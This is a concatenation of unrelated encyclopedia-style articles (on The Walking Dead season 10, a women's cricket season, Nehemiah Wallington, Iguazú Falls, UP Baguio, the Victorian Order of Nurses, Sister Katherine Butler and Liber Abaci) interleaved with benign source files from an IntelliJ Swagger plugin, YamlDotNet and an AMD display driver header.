In further reviews based upon the first three episodes available to critics, Tassi wrote that "they're all good episodes, and I think I liked each one more than the last" and "they're very solid and continue my confidence in the Angela Kang era of the show, showing that season 9 wasn't a fluke. The show is genuinely good now, and I can't wait to see what's next". Cameron Bonomolo of ComicBook.com praised the episodes for its horror elements, writing: "The Walking Dead Season 10 recaptures the same tone of raw realism established by first-season showrunner Frank Darabont, expanding on it with a flavoring that is deliciously eerie. Not only is The Walking Dead straight-up scary, it often feels like a genuine horror movie, a feat achieved either through atmosphere and tension-building or pop-up spooks."
Accolades
The tenth season of The Walking Dead received five nominations for the upcoming 46th Saturn Awards—Best Horror Television Series (the series' fifth consecutive nomination, with four consecutive wins), Best Supporting Actor on a Television Series for Norman Reedus (his fourth nomination), Best Supporting Actress on a Television Series for Melissa McBride (her seventh consecutive nomination, with two consecutive wins), Best Performance by a Younger Actor on a Television Series for Cassady McClincy, and Best Guest Starring Performance on a Television Series for Jeffrey Dean Morgan (his fourth consecutive nomination, with two wins).
At the inaugural Critics' Choice Super Awards, the season was also nominated for Best Horror Series and Best Villain in a Series for Samantha Morton. The first half of the season was nominated for Outstanding Action Performance by a Stunt Ensemble a Comedy or Drama Series at the 26th Screen Actors Guild Awards (the series' eighth consecutive nomination). Additionally, Danai Gurira won the Gracie Award for Outstanding Female Actor in a Leading Role in a Drama.
Ratings
References
External links
10
2019 American television seasons
2020 American television seasons
2021 American television seasons
Television productions suspended due to the COVID-19 pandemic |
The 2012–13 Australian Women's Twenty20 Cup was the fourth formal season of the Australian Women's Twenty20 Cup, which was the premier domestic women's Twenty20 cricket competition in Australia prior to the inception of the Women's Big Bash League in 2015. The tournament started on 12 October 2012 and finished on 19 January 2013. Defending champions Victorian Spirit finished third. New South Wales Breakers won the tournament for the first time after finishing first in the group stage and beating Western Fury in the final.
Ladder
Fixtures
Final
Statistics
Highest totals
Most runs
Most wickets
References
External links
Series home at ESPNcricinfo
Australian Women's Twenty20 Cup seasons
Australian Women's Twenty20 Cup |
```java
package org.zalando.intellij.swagger.reference.usage;
import com.intellij.lang.HelpID;
import com.intellij.lang.cacheBuilder.WordsScanner;
import com.intellij.lang.findUsages.FindUsagesProvider;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiNamedElement;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.jetbrains.yaml.psi.YAMLKeyValue;
public class YamlFindUsagesProvider implements FindUsagesProvider {
@Nullable
@Override
public WordsScanner getWordsScanner() {
return new YamlWordScanner();
}
@Override
public boolean canFindUsagesFor(@NotNull PsiElement psiElement) {
return psiElement instanceof PsiNamedElement;
}
@Nullable
@Override
public String getHelpId(@NotNull PsiElement psiElement) {
return HelpID.FIND_OTHER_USAGES;
}
@NotNull
@Override
public String getType(@NotNull PsiElement element) {
if (element instanceof YAMLKeyValue) {
return "property";
}
return "";
}
@NotNull
@Override
public String getDescriptiveName(@NotNull PsiElement element) {
final String name =
element instanceof PsiNamedElement ? ((PsiNamedElement) element).getName() : null;
return name != null ? name : "<unnamed>";
}
@NotNull
@Override
public String getNodeText(@NotNull PsiElement element, boolean useFullName) {
return getDescriptiveName(element);
}
}
``` |
```smalltalk
// This file is part of YamlDotNet - A .NET library for YAML.
// Permission is hereby granted, free of charge, to any person obtaining a copy of
// this software and associated documentation files (the "Software"), to deal in
// the Software without restriction, including without limitation the rights to
// use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
// of the Software, and to permit persons to whom the Software is furnished to do
// so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
using System;
using System.Linq;
using YamlDotNet.Core;
using YamlDotNet.Core.Events;
using System.Collections.Generic;
namespace YamlDotNet.RepresentationModel
{
/// <summary>
/// Represents a single node in the YAML document.
/// </summary>
[Serializable]
public abstract class YamlNode
{
private const int MaximumRecursionLevel = 1000;
internal const string MaximumRecursionLevelReachedToStringValue = "WARNING! INFINITE RECURSION!";
/// <summary>
/// Gets or sets the anchor of the node.
/// </summary>
/// <value>The anchor.</value>
public string Anchor { get; set; }
/// <summary>
/// Gets or sets the tag of the node.
/// </summary>
/// <value>The tag.</value>
public string Tag { get; set; }
/// <summary>
/// Gets the position in the input stream where the event that originated the node starts.
/// </summary>
public Mark Start { get; private set; }
/// <summary>
/// Gets the position in the input stream where the event that originated the node ends.
/// </summary>
public Mark End { get; private set; }
/// <summary>
/// Loads the specified event.
/// </summary>
/// <param name="yamlEvent">The event.</param>
/// <param name="state">The state of the document.</param>
internal void Load(NodeEvent yamlEvent, DocumentLoadingState state)
{
Tag = yamlEvent.Tag;
if (yamlEvent.Anchor != null)
{
Anchor = yamlEvent.Anchor;
state.AddAnchor(this);
}
Start = yamlEvent.Start;
End = yamlEvent.End;
}
/// <summary>
/// Parses the node represented by the next event in <paramref name="parser" />.
/// </summary>
/// <returns>Returns the node that has been parsed.</returns>
static internal YamlNode ParseNode(IParser parser, DocumentLoadingState state)
{
if (parser.Accept<Scalar>())
{
return new YamlScalarNode(parser, state);
}
if (parser.Accept<SequenceStart>())
{
return new YamlSequenceNode(parser, state);
}
if (parser.Accept<MappingStart>())
{
return new YamlMappingNode(parser, state);
}
if (parser.Accept<AnchorAlias>())
{
var alias = parser.Expect<AnchorAlias>();
return state.GetNode(alias.Value, false, alias.Start, alias.End) ?? new YamlAliasNode(alias.Value);
}
throw new ArgumentException("The current event is of an unsupported type.", "events");
}
/// <summary>
/// Resolves the aliases that could not be resolved when the node was created.
/// </summary>
/// <param name="state">The state of the document.</param>
internal abstract void ResolveAliases(DocumentLoadingState state);
/// <summary>
/// Saves the current node to the specified emitter.
/// </summary>
/// <param name="emitter">The emitter where the node is to be saved.</param>
/// <param name="state">The state.</param>
internal void Save(IEmitter emitter, EmitterState state)
{
if (!string.IsNullOrEmpty(Anchor) && !state.EmittedAnchors.Add(Anchor))
{
emitter.Emit(new AnchorAlias(Anchor));
}
else
{
Emit(emitter, state);
}
}
/// <summary>
/// Saves the current node to the specified emitter.
/// </summary>
/// <param name="emitter">The emitter where the node is to be saved.</param>
/// <param name="state">The state.</param>
internal abstract void Emit(IEmitter emitter, EmitterState state);
/// <summary>
/// Accepts the specified visitor by calling the appropriate Visit method on it.
/// </summary>
/// <param name="visitor">
/// A <see cref="IYamlVisitor"/>.
/// </param>
public abstract void Accept(IYamlVisitor visitor);
/// <summary>
/// Provides a basic implementation of Object.Equals
/// </summary>
protected bool Equals(YamlNode other)
{
// Do not use the anchor in the equality comparison because that would prevent anchored nodes from being found in dictionaries.
return SafeEquals(Tag, other.Tag);
}
/// <summary>
/// Gets a value indicating whether two objects are equal.
/// </summary>
protected static bool SafeEquals(object first, object second)
{
if (first != null)
{
return first.Equals(second);
}
else if (second != null)
{
return second.Equals(first);
}
else
{
return true;
}
}
/// <summary>
/// Serves as a hash function for a particular type.
/// </summary>
/// <returns>
/// A hash code for the current <see cref="T:System.Object"/>.
/// </returns>
public override int GetHashCode()
{
// Do not use the anchor in the hash code because that would prevent anchored nodes from being found in dictionaries.
return GetHashCode(Tag);
}
/// <summary>
/// Gets the hash code of the specified object, or zero if the object is null.
/// </summary>
protected static int GetHashCode(object value)
{
return value == null ? 0 : value.GetHashCode();
}
/// <summary>
/// Combines two hash codes into one.
/// </summary>
protected static int CombineHashCodes(int h1, int h2)
{
return unchecked(((h1 << 5) + h1) ^ h2);
}
public override string ToString()
{
var level = new RecursionLevel(MaximumRecursionLevel);
return ToString(level);
}
internal abstract string ToString(RecursionLevel level);
/// <summary>
/// Gets all nodes from the document, starting on the current node.
/// <see cref="MaximumRecursionLevelReachedException"/> is thrown if an infinite recursion is detected.
/// </summary>
public IEnumerable<YamlNode> AllNodes
{
get
{
var level = new RecursionLevel(MaximumRecursionLevel);
return SafeAllNodes(level);
}
}
/// <summary>
/// When implemented, recursively enumerates all the nodes from the document, starting on the current node.
/// If <see cref="RecursionLevel.Maximum"/> is reached, a <see cref="MaximumRecursionLevelReachedException"/> is thrown
/// instead of continuing and crashing with a <see cref="StackOverflowException"/>.
/// </summary>
internal abstract IEnumerable<YamlNode> SafeAllNodes(RecursionLevel level);
/// <summary>
/// Gets the type of node.
/// </summary>
public abstract YamlNodeType NodeType
{
get;
}
/// <summary>
/// Performs an implicit conversion from <see cref="System.String"/> to <see cref="YamlDotNet.RepresentationModel.YamlNode"/>.
/// </summary>
/// <param name="value">The value.</param>
/// <returns>The result of the conversion.</returns>
public static implicit operator YamlNode(string value)
{
return new YamlScalarNode(value);
}
/// <summary>
/// Performs an implicit conversion from string[] to <see cref="YamlDotNet.RepresentationModel.YamlNode"/>.
/// </summary>
/// <param name="sequence">The value.</param>
/// <returns>The result of the conversion.</returns>
public static implicit operator YamlNode(string[] sequence)
{
return new YamlSequenceNode(sequence.Select(i => (YamlNode)i));
}
/// <summary>
/// Converts a <see cref="YamlScalarNode" /> to a string by returning its value.
/// </summary>
public static explicit operator string(YamlNode scalar)
{
return ((YamlScalarNode)scalar).Value;
}
/// <summary>
/// Gets the nth element in a <see cref="YamlSequenceNode" />.
/// </summary>
public YamlNode this[int index]
{
get
{
return ((YamlSequenceNode)this).Children[index];
}
}
/// <summary>
/// Gets the value associated with a key in a <see cref="YamlMappingNode" />.
/// </summary>
public YamlNode this[YamlNode key]
{
get
{
return ((YamlMappingNode)this).Children[key];
}
}
}
}
``` |
Nehemiah Wallington (1598–1658) was an English Puritan artisan (a wood turner) and chronicler from Eastcheap. He left over 2,500 pages and 50 volumes on himself, religion and politics, 8 of which survive.
Life
Born on 12 May 1598, he was the tenth child of John Wallington (d. 1641), a turner of St. Leonard's, Eastcheap, by his wife Elizabeth (d. 1603), daughter of Anthony Hall (d. 1597), a citizen and skinner of London.
He recorded his ten suicide attempts of 1618–19; trying poison, hanging, and even contemplating drowning and cutting open his own throat– all because he took his lustful feelings as a sign of reprobation.
A little before 1620 Nehemiah entered into business on his own account as a turner, and took a house in Little Eastcheap, between Pudding Lane and Fish-street Hill. There he passed the remainder of an uneventful life. In 1639 he and his brother John were summoned before the court of Star-chamber on the charge of possessing prohibited books. He acknowledged that he had possessed William Prynne's Divine Tragedie, Matthew White's Newes from Ipswich, and Henry Burton's Apology of an Appeale, but pleaded that he no longer owned them. He was kept under surveillance by the court for about two years, but suffered no further penalty.
In 1619 or 1620 he was married to Grace, sister of Zachariah and Livewell Rampain (Rampaigne). Zachariah was killed in Ireland on a plantation in 1641. Livewell was minister at Burton, near Lincoln, and afterwards at Broxholme. By her Wallington had several children, of whom only a daughter, Sara, survived him. She was married to a puritan, named John Haughton, on 20 November 1641. Wallington died in the summer or autumn of 1658.
Works
Wallington left three compilations of contemporary events.
In 1630 he commenced his Historical Notes and Meditations, 1583–1649. It consists of classified extracts from contemporary journals and pamphlets, which he enlarged with hearsay knowledge and enriched with pious reflections. The work is chiefly occupied with political affairs. The latest event recorded is the execution of Charles I.
In December 1630 he commenced a record of his private affairs, under the title Wallington's Journals, in a quarto volume. It was formerly in the possession of William Upcott, who indexed its contents.
In 1632 he commenced a third quarto, in which be recorded numerous strange portents which had occurred in various parts of England, taking notice of "Gods iudgments upon Sabbath breakers and on Drunkards." It contains many extracts from his Historical Notes.
Wallington's Historical Notes were published in 1869 (London, 2 vols. 8vo) under the editorship of Miss R. Webb, with the title Historical Notices of Events occurring chiefly in the Reign of Charles I.
Further reading
Paul Seaver, Wallington's World: A Puritan Artisan in Seventeenth-Century London (Stanford University Press, 1985).
David Booy, The Selected Writings of Nehemiah Wallington: The Thoughts and Considerations of a London Puritan and Wood-Turner, 1618–1654 (Ashgate, 2007).
References
Attribution
1598 births
1658 deaths
English diarists
British artisans
17th-century English Puritans
17th-century English writers
17th-century English male writers |
Iguazú Falls or Iguaçu Falls ( , ; ) are waterfalls of the Iguazu River on the border of the Argentine province of Misiones and the Brazilian state of Paraná. Together, they make up the largest waterfall system in the world. The falls divide the river into the upper and lower Iguazu. The Iguazu River rises near the heart of the city of Curitiba. For most of its course, the river flows through Brazil; however, most of the falls are on the Argentine side. Below its confluence with the San Antonio River, the Iguazu River forms the border between Argentina and Brazil.
The name Iguazú comes from the Guarani or Tupi words "y" , meaning "water", and "ûasú ", meaning "big". Legend has it that a deity planned to marry a beautiful woman named Naipí, who fled with her mortal lover Tarobá in a canoe. In a rage, the deity sliced the river, creating the waterfalls and condemning the lovers to an eternal fall. The first European to record the existence of the falls was the Spanish Conquistador Álvar Núñez Cabeza de Vaca in 1541.
Geology and geography
The staircase character of the falls consists of a two-step waterfall formed by three layers of basalt. The steps are in height. The columnar basalt rock sequences are part of the Serra Geral formation within the Paleozoic-Mesozoic Paraná Basin. The tops of these sequences are characterized by of highly resistant vesicular basalt and the contact between these layers controls the shape of the falls. Headwater erosion rates are estimated at . Numerous islands along the edge divide the falls into many separate waterfalls and cataracts, varying between high. The number of these smaller waterfalls fluctuates from 150 to 300, depending on the water level. About half of the river's flow falls into a long and narrow chasm called the Devil's Throat ( in Spanish or in Portuguese).
The Devil's Throat canyon is wide and deep. Left of this canyon, another part of the river forms 160–200 individual falls, which merge into a single front during the flood stage. The largest falls are named San Martín, Adam and Eva, Penoni, and Bergano.
About of the length does not have water flowing over it. The water of the lower Iguazu collects in a canyon that drains into the Paraná River, a short distance downstream from the Itaipu Dam. The junction of the water flows marks the border between Brazil, Argentina, and Paraguay. Some points in the cities of Foz do Iguaçu, Brazil, Puerto Iguazú, Argentina, and Ciudad del Este, Paraguay, have access to the Iguazu River, where the borders of all three nations may be seen, a popular tourist attraction for visitors to the three cities.
The Iguazu Falls are arranged in a way that resembles a reversed letter "J". The Argentina–Brazil border runs through the Devil's Throat. On the right bank is the Brazilian territory, which is home to more than 95% of the Iguazu River basin but has just over 20% of the jumps of these falls, and the left side jumps are Argentine, which make up almost 80% of the falls.
Tourism
Aerolíneas Argentinas has direct flights from Buenos Aires to Iguazu International Airport. Azul, GOL, and LATAM Brasil offer services from main Brazilian cities to Foz do Iguaçu.
Access
The falls may be reached from two main towns, with one on either side of the falls: Foz do Iguaçu in Brazil and Puerto Iguazú in Argentina, as well as from Ciudad del Este, Paraguay, on the other side of the Paraná River from Foz do Iguaçu, each of those three cities having commercial airports. The falls are shared by the Iguazú National Park (Argentina) and Iguaçu National Park (Brazil). The two parks were designated UNESCO World Heritage Sites in 1984 and 1986, respectively.
The first proposal for a Brazilian national park aimed at providing a pristine environment to "future generations", just as "it had been created by God" and endowed with "all possible preservation, from the beautiful to the sublime, from the picturesque to the awesome" and "an unmatched flora" located in the "magnificent Iguaçu waterfalls". These were the words used by André Rebouças, an engineer, in his book Provinces of Paraná, Railways to Mato Grosso and Bolivia, which started up the campaign aimed at preserving the Iguaçu Falls in 1876. At this time, Yellowstone National Park in the US, the first national park in the world, was four years old.
On the Brazilian side, a walkway along the canyon has an extension to the lower base of Devil's Throat. Helicopter rides offering aerial views of the falls have been available from Brazil, but Argentina has prohibited such helicopter tours because of the adverse environmental impact on the flora and fauna of the falls. From Foz do Iguaçu airport, the park may be reached by taking a taxi or bus to the entrance of the park. Their park has an entrance fee on both sides. Once inside, free and frequent buses are provided to various points within the park. The town of Foz do Iguaçu is about away, and the airport is between the park and the town.
The Argentine access, across the forest, is by a Rainforest Ecological Train very similar to the one in Disney's Animal Kingdom. The train brings visitors to the entrance of Devil's Throat, as well as the upper and lower trails. The Paseo Garganta del Diablo is a trail that brings visitors directly over the falls of Devil's Throat, the highest and deepest of the falls. Other walkways allow access to the elongated stretch of falls across the forest on the Argentine side and to the boats that connect to San Martin Island. Also on the Argentine side, inflatable boat services take visitors very close to the falls.
The Brazilian transportation system aims at allowing an increase in the number of visitors, while reducing the adverse environmental impact, through an increase in the average number of passengers per vehicle inside the park. The new transportation system has a 72-passenger capacity and panoramic-view, double-deck buses.
Comparisons to other notable falls
Upon seeing Iguazu, the United States First Lady Eleanor Roosevelt reportedly exclaimed, "Poor Niagara!" (which, at 50 m or 165 feet, are a third shorter). Often, Iguazu also is compared with Victoria Falls in Southern Africa, which separates Zambia and Zimbabwe. Iguazu is wider but is split into roughly 275 distinct falls and large islands, whereas Victoria has the largest curtain of water in the world, at more than wide and over in height (in low flow, Victoria is split into five by islands but in high flow, it may be uninterrupted). The only wider falls are extremely large rapid-like falls, such as the Boyoma Falls (Stanley Falls).
With the flooding of the Guaíra Falls in 1982, Iguazu currently has the sixth-greatest average annual flow of any waterfall in the world, following number five Niagara, with an average rate of . Its maximum recorded flow was on 9 June 2014. By comparison, the average flow of Niagara Falls is , with a maximum recorded flow of . The average flow at Victoria Falls is , with a maximum recorded flow of .
Climate
The Iguazu Falls experience a humid subtropical climate (Cfa, according to the Köppen climate classification) with abundant precipitation and high temperatures year-round. During the summer of 2006, a severe drought caused the Iguazu River to become diminished, reducing the amount of water flowing over the falls to until early December. This was unusual, as dry periods normally last only a few weeks. The period with the greatest volume of water flowing over the falls is usually December to February, coinciding with one of the periods of greatest rainfall.
Popular culture
Portrayals in film
Iguazu Falls has been featured in several TV shows and movies, including:
See also
List of waterfalls by flow rate
References
External links
Foz do Iguaçu; Brazilian government site (archived; in Portuguese)
Copel Monitoramento Hydrológico (Iguazu River flow rate measurements; leftmost green dot gives flow rate at Hotel Cataratas)
Iguazu Falls at UNESCO World Heritage Centre
Iguazu Falls facts at BeautifulWorld.com
Aerial video at vimeo.com
Waterfalls of Argentina
Waterfalls of Brazil
International waterfalls
Argentina–Brazil border
Landforms of Misiones Province
Landforms of Paraná (state)
Block waterfalls
Segmented waterfalls
Environment of Paraná (state)
Foz do Iguaçu
Articles containing video clips
Tourist attractions in Misiones Province
Tourist attractions in Paraná (state)
World Heritage Sites in Argentina
World Heritage Sites in Brazil
First 100 IUGS Geological Heritage Sites |
The University of the Philippines Baguio (UPB; Filipino: Unibersidad ng Pilipinas Baguio), also referred to as UP in the North or UP Baguio, is a public research university located in Baguio, Philippines. It was established in 1921 through the initiative of UP alumni in Baguio and Benguet and was inaugurated as the UP College of Baguio on April 22, 1961. It was eventually elevated to its present autonomous status as a constituent university on December 2, 2002.
It is the seventh constituent university of the University of the Philippines System and is the university's flag-bearer in Northern Luzon. It is also one of the research institutions in the region through its Cordillera Studies Center, with ethnic and interdisciplinary research as well as for its efforts in conserving the biodiversity and indigenous cultures of the Cordillera Region.
Being a former extension of the UP College of Liberal Arts, UP Baguio mainly specializes in the sciences, arts and humanities. It currently offers 16 academic programs through its three degree-granting units. As of 2019, the Commission on Higher Education (CHED) has accredited three academic programs in the university as Centers of Development, namely in the fields of biology, mathematics, and physics.
History
The university was initially established in 1921 as an extension of the UP College of Liberal Arts, and was originally located in Vigan, Ilocos Sur. In 1938, it was relocated to Baguio as the UP College of Arts and Sciences.
During World War II, the buildings and facilities within the college were largely destroyed, and reestablishment efforts were immediately carried out by UP alumni after the war. After several years since its post-war restoration, the college then became a branch campus of UP Diliman, becoming known as the UP College of Baguio on April 22, 1961.
On December 2, 2002, the university's distinction was affirmed by the elevation of the UP College of Baguio into a constituent university through a unanimous endorsement by the UP Board of Regents (BOR), in which it became officially known as UP Baguio.
Organization and administration
UP Baguio is governed by the university system's 11-member Board of Regents. Like all other UP campuses, UP Baguio is headed and supervised by a chancellor, who is assisted by two vice chancellors—one for academic affairs and the other for administration. The first chancellor of UP Baguio was Dr. Priscilla Supnet Macasantos, who oversaw the campus' elevation into a constituent university of UP within her term. The current chancellor selected by the Board of Regents is Dr. Corazon L. Abansi, who succeeded Dr. Raymundo Rovillos after his term ended on April 13, 2021.
The University of the Philippines Baguio is an affiliate of the following associations:
Association of Pacific Rim Universities
ASEAN University Network
Association of Southeast Asian Institutions of Higher Learning
Academics
Admissions
Admission to the university is highly selective. Students who wish to enter the university must first pass the University of the Philippines College Admission Test (UPCAT), which serves as an admission requirement for all constituent units of the university system.
Degree-granting units
UP Baguio constitutes three colleges as its academic arms, which are headed by their respective deans. On the other hand, the Institute of Management―which is part of the College of Social Sciences―is headed by a director, while the Human Kinetics Program―which is part of the College of Science―is led by a coordinator. and offers 11 undergraduate degree programs, 8 graduate degree programs, and a pre-baccalaureate certificate program.
These programs are the following:
1. Undergraduate Programs:
Bachelor of Science in Biology (concentrations in either General Biology, Ecology and Systematics, or Microbiology)
Bachelor of Science in Computer Science
Bachelor of Science in Mathematics
Bachelor of Science in Physics
Bachelor of Arts in Communication (concentrations and minors in either Journalism, Broadcast Communication, or Speech Communication)
Bachelor’s in Fine Arts (concentration in Visual Arts)
Bachelor of Arts in Language and Literature
Bachelor of Arts in Social Sciences (Anthropology)*
Bachelor of Arts in Social Sciences (Economics)*
Bachelor of Arts in Social Sciences (History)*
Bachelor of Science in Management Economics
- may minor in either Sociology, Political Science, Psychology, or Philosophy
2. Graduate Programs:
Master of Science in Conservation and Restoration Ecology
Master of Science in Mathematics
Doctor of Philosophy in Mathematics
Master of Arts in Language and Literature
Master of Arts in History (Ethnohistory and Local History)
Doctor of Philosophy in Indigenous Studies
Master of Arts in Social and Development Studies
Master of Management
3. Pre-Baccalaureate Program:
Certificate in Fine Arts
The university has been identified by CHED as a Center of Development in biology, mathematics, and physics since 2001.
Rankings and Reputation
The UP System, which UP Baguio is a part of, has been consistently ranked the top university in the Philippines since its inclusion in several university rankings.
UP Baguio, as part of the UP system, specializes in the Social Sciences — particularly in Indigenous Studies as well as Cordilleran and Northern Luzon history and culture.
UP Baguio is also internationally known for the Cordillera Review Center, which produces ethnic and interdisciplinary articles and journals — arguably making it one of the primary institutions in Northern Luzon and the Cordilleras. The constituent university is also known for the Cordillera Review, a peer-reviewed journal that features researches about the Cordilleras and Northern Luzon.
Gallery
See also
State Universities and Colleges (Philippines)
List of University of the Philippines people
University of the Philippines
University of the Philippines Manila
University of the Philippines Los Banos
University of the Philippines Diliman
University of the Philippines Cebu
University of the Philippines Visayas
University of the Philippines Mindanao
University of the Philippines Open University
References
External links
University of the Philippines system
University of the Philippines Baguio
Baguio
Universities and colleges in Baguio
Research universities in the Philippines
State universities and colleges in the Philippines
Universities and colleges established in 1908
1908 establishments in the Philippines |
```objective-c
/*
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
* Authors: AMD
*
*/
#ifndef __DAL_LOGGER_H__
#define __DAL_LOGGER_H__
#endif /* __DAL_LOGGER_H__ */
``` |
The Victorian Order of Nurses (VON) has been leading home and community care in Canada for over a century. Today, VON provides home and community support services to over 10,000 people every day across Ontario and Nova Scotia. It is registered as a charity with the Canada Revenue Agency, under charity number 129482493RR0001. Since 2014, the President and CEO is Jo-Anne Poirier.
History
Lady Aberdeen, wife of Canadian Governor General Lord Aberdeen, visited Vancouver, British Columbia, in 1896. While there, she heard many stories of women and children alone in remote areas of Canada as their husbands had to travel great distances for medical help. At a meeting of the National Council for Women in Halifax, Nova Scotia, she was asked to create an order of visiting nurses in Canada. It was to be a memorial for the 60th anniversary of Queen Victoria's ascent to the throne of the British Empire. At Rideau Hall on February 10, 1897, Prime Minister Sir Wilfrid Laurier hosted an inauguration to create the Victorian Order of Nurses "as a mode of commemoration by the Dominion of Canada (Canada) of the Queen's Diamond Jubilee". In 1898, the first nurse training program was established for the Victorian Order of Nurses in Ottawa, Ontario.
In 1898, one of the first high-profile projects for the VON was a call to women to join the Victorian Order of Nurses' Klondike contingent. Candidates had to be unmarried, at least twenty-eight years old, and be a graduate of a recognized nursing school. They were warned they would have to dress very plainly and not curl or crimp their hair. Four nurses were selected, three Canadians and one recent immigrant from England. They reached Dawson one month after the Sisters of Saint Anne and found their skills desperately needed to care for the many victims of the typhoid epidemic that was raging through the Klondike.
The VON has helped Canada through many incidents including World War I, the Halifax Explosion and World War II. More importantly, VON has been an important element of building community, creating opportunities for people to work together to meet their needs and those of their friends and neighbours.
VON Canada is structured into a national service provider and local charities. Both are governed by volunteer Board members. The National Board is composed of dedicated volunteers from across Canada elected by the representatives of the local branches. The local branches operate in each of their communities, raising funds and lobbying to meet specific needs.
On November 25, 2015, VON suddenly shut down all their operations outside of Ontario and Nova Scotia. The order was lacking in funding, and could no longer support operating offices in other areas. It will restructure to determine what services will continue to be offered while being financially viable.
Today, with a staff of 6,000 and as many volunteers, VON provides home and community support services to over 10,000 people every day across Ontario and Nova Scotia.
See also
Elizabeth Lawrie Smellie
Queen's Nursing Institute, England, Wales, and Northern Ireland
James Thorburn (Canadian physician)
References
External links
1897 establishments in Ontario
Charities based in Canada
Nursing organizations in Canada
Organizations established in 1897
Organizations based in Ottawa |
Sister Katherine Butler (27 May 1914 – 8 August 2000) was an Irish nun with the Religious Sisters of Charity, teacher, writer, and aviator. Butler was one of the first women to get a pilot's licence in Ireland.
Early life
Born Katherine Bayley Butler, she was the eldest of two daughters of James Bayley Butler and Katherine Butler (née McWeeney). Both she and her sister Beatrice attended Alexandra College, Dublin, and later the Ursuline convent, Waterford. Butler had decided to take up a religious vocation from age 17, but was persuaded to wait until she was 21 by her parents. She used this time to undertake a degree in science at University College Dublin.
Aviation
Butler had become interested in aviation after seeing Sir Alan Cobham's Air Circus in the early 1930s, and so began to take flying lessons at Kildonan Aerodrome, with pilots such as John Currie. On 15 January 1936 she became the third woman in Ireland to receive a pilot's licence. She entered the novitiate of the Sisters of Charity in Milltown, Dublin five days later, on 20 January. She was given the name Sr Mary Alphonsus, though later reverted to Katherine Butler, remarking that "there were no nuns with double-barrel names."
Educational career and later life
Having finished her novitiate, Butler graduated as a teacher in 1938 and spent many years in the profession. Butler spent time in England teaching during World War II, and later studied in Rome in the late 1960s. Butler taught at the order's secondary school in Mountjoy Street, Dublin, later helping to found new secondary schools in Foxford, County Mayo, serving as principal, and Walkinstown, Dublin. She last taught in the order's Marymount school in Harold's Cross, before moving to the order's Crumlin convent in 1977. Whilst in Crumlin, Butler began an outreach programme, conducting home visits with her pupils.
In 1953 she published a biography of Mother Mary Aikenhead, foundress of the Sisters of Charity, A Candle Was Lit. Following this publication, Butler referred to the "apostolate of the pen" and wrote a prodigious number of letters to lonely people, prisoners, and occasionally to the national newspapers. She also wrote for magazines and periodicals, with a particular interest in the area of ecumenism. This interest led her to attend services of other denominations including Jewish, Quakers, and The Salvation Army. Butler was an active member of the Old Dublin Society, and wrote for their journal the Dublin Historical Record, winning the Society's annual award for best paper three times.
Butler died on 8 August 2000 in Crumlin. She attained special permission from her order to donate her body to the Royal College of Surgeons for use in medical research.
References
1914 births
2000 deaths
People educated at Alexandra College
Alumni of University College Dublin
Nuns from Dublin (city)
Irish women aviators
20th-century Irish nuns
Aviators from Dublin (city) |
(also spelled as Liber Abbaci; "The Book of Calculation") is a historic 1202 Latin manuscript on arithmetic by Leonardo of Pisa, posthumously known as Fibonacci.
Premise
was among the first Western books to describe the Hindu–Arabic numeral system and to use symbols resembling modern "Arabic numerals". By addressing the applications of both commercial tradesmen and mathematicians, it promoted the superiority of the system, and the use of these glyphs.
Although the book's title is sometimes translated as "The Book of the Abacus", notes that it is an error to read this as referring to calculating devices called "abacus". Rather, the word "abacus" was used at the time to refer to calculation in any form; the spelling "abbacus" with two "b"s (which is how Leonardo spelled it in the original Latin manuscript) was, and still is in Italy, used to refer to calculation using Hindu-Arabic numerals, which can avoid confusion. The book describes methods of doing calculations without aid of an abacus, and as confirms, for centuries after its publication the algorismists (followers of the style of calculation demonstrated in ) remained in conflict with the abacists (traditionalists who continued to use the abacus in conjunction with Roman numerals). The historian of mathematics Carl Boyer emphasizes in his History of Mathematics that although "Liber abaci...is not on the abacus" per se, nevertheless "...it is a very thorough treatise on algebraic methods and problems in which the use of the Hindu-Arabic numerals is strongly advocated."
Summary of sections
The first section introduces the Hindu–Arabic numeral system, including methods for converting between different representation systems. This section also includes the first known description of trial division for testing whether a number is composite and, if so, factoring it.
The second section presents examples from commerce, such as conversions of currency and measurements, and calculations of profit and interest.
The third section discusses a number of mathematical problems; for instance, it includes (ch. II.12) the Chinese remainder theorem, perfect numbers and Mersenne primes as well as formulas for arithmetic series and for square pyramidal numbers. Another example in this chapter involves the growth of a population of rabbits, where the solution requires generating a numerical sequence. Although the problem dates back long before Leonardo, its inclusion in his book is why the Fibonacci sequence is named after him today.
The fourth section derives approximations, both numerical and geometrical, of irrational numbers such as square roots.
